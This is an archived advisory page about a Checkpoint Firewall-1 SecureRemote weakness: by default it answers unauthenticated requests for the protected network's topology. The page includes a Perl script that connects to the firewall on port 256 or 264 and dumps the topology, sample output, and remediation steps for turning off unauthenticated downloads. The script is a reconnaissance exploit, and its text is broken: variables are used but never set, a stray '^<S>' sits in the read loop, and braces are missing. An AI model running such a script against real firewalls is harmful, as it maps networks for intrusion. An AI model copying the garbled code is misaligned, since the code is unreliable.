Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Security App Flaws :: fw-26.htm

Checkpoint Firewall-1 Security Issues



    Checkpoint Firewall-1


    Haroon Meer found following.   Checkpoint Firewall-1 makes use  of
    a  piece  of  software  called  SecureRemote  to  create encrypted
    sessions between users and FW-1 modules.  Before remote users  are
    able to  communicate with  internal hosts,  a network  topology of
    the protected network  is downloaded to  the client.   While newer
    versions of the FW-1 software  have the ability to restrict  these
    downloads  to  only  authenticated  sessions,  the default setting
    allows  unauthenticated  requests  to  be  honoured.  This gives a
    potential attacker a wealth of information including ip addresses,
    network masks (and even friendly descriptions).

    The attached file will connect  to the firewall, and download  the
    toplogy (if  SecureRemote is  running) (it  is a  tiny perl  file,
    which needs only Socket, so avoids the hassle of having to install
    the SecureRemote client <or booting windows> to test a firewall-1)

        SensePost# perl
        Testing  on port 256
                :val (
                        :reply (
                                : (-SensePost-dotcom-.hal9000-
                                        :type (gateway)
                                        :is_fwz (true)
                                        :is_isakmp (true)
                                        :certificates ()
                                        :uencapport (2746)
                                        :fwver (4.1)
                                        :ipaddr (
                                        :ipmask (
                                        :resolve_multiple_interfaces ()
                                        :ifaddrs (
                                                : (
                                                : (
                                                : (
                                                : (
                                        :firewall (installed)
                                        :location (external)
                                        :keyloc (remote)
                                        :userc_crypt_ver (1)
                                        :keymanager (
                                                :type (refobj)
                                                :refname ("#_-SensePost-dotcom-")
        )                               :name
                                                        :type (gateway)
                                                        :ipaddr (
                                                        :ipmask (

    The code:

    # A Command-line tool that can be used to download network Topology
    # from Firewall-1's running SecureRemote, with the option "Allow un
    # authenticated cleartext topology downloads".
    # Usage IP
    # Haroon Meer & Roelof Temmingh 2001/07/17
    # -
    use Socket;
    if ($#ARGV<0) {die "Usage: IP\n";}
    print "Testing $host on port $port\n";
    $SENDY = pack("H*",$SENDY);
    if ($#results == 0) {
     print "No results on port 256 - trying 264\n";
     if ($#results2 == 0) {die "Sorry - no results\n";}
    } else {print @results;}
    sub sendraw {
     my ($pstr)=@_;
     socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
     if(connect(S,pack "SnA4x8",2,$port,$target)){
      my @in;
      select(S);      $|=1;   print $pstr;
      while(^<S>){ push @in, $_;}
      select(STDOUT); close(S); return @in;
     } else { return ""; }
    # Spidermark: sensepostdata fw1


    This is a well-known, and generally accepted, risk associated with
    running  FWZ  SecuRemote  VPN's  to  FireWall-1.   As  others have
    already  commented,  it  is  possible  to turn off unauthenticated
    topology  downloads  through  the  policy  properties.   If you do
    this,  you  will  need  to  manually  distribute  a  userc.C  file
    (containing the  topology information)  to all  of your secuRemote
    users.  This file  should be loaded into  the c:\winnt\fw\database
    directory on the client.

    From start to finish, the procedure should go something like this:
    1. Set  up  you  firewall  gateway  for VPN, with the "Respond  to
       unauthenticated topology requests" enabled.
    2. Set  up  a  sample  secuRemote  client,  and download the  site
    3. Turn off "Respond to unauthenticated topology requests".
    4. Securely distribute the file userc.C from the sample client  to
       all secuRemote users.

    You will need to send out  an updated userc.C any time there  is a
    change to the encryption domain or keying info.

    That's not the  only way to  do it. An  'authenticated' connection
    can  download  the  topology  data.   However,  the authentication
    needed  for  this  to  work  is  a shared secret or certificate as
    defined in the 'IKE' properties  for the user (i.e. you  can't use
    things like SecurID  for this bit)  Once you've got  the topology,
    there's  nothing  stopping  you  re-authenticating  with  a normal
    authentication method.

    We do  this with  a seperate  account set  up purely  for topology
    downloads.  This account does  not have any access to  the network
    via the rulebase.

    Checkpoint have a couple of documents available on how to set this
    up, they are not that hard to find, searching for 'unauthenticated
    topology downlads' in the Checkpoint knowledge base should do  the

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH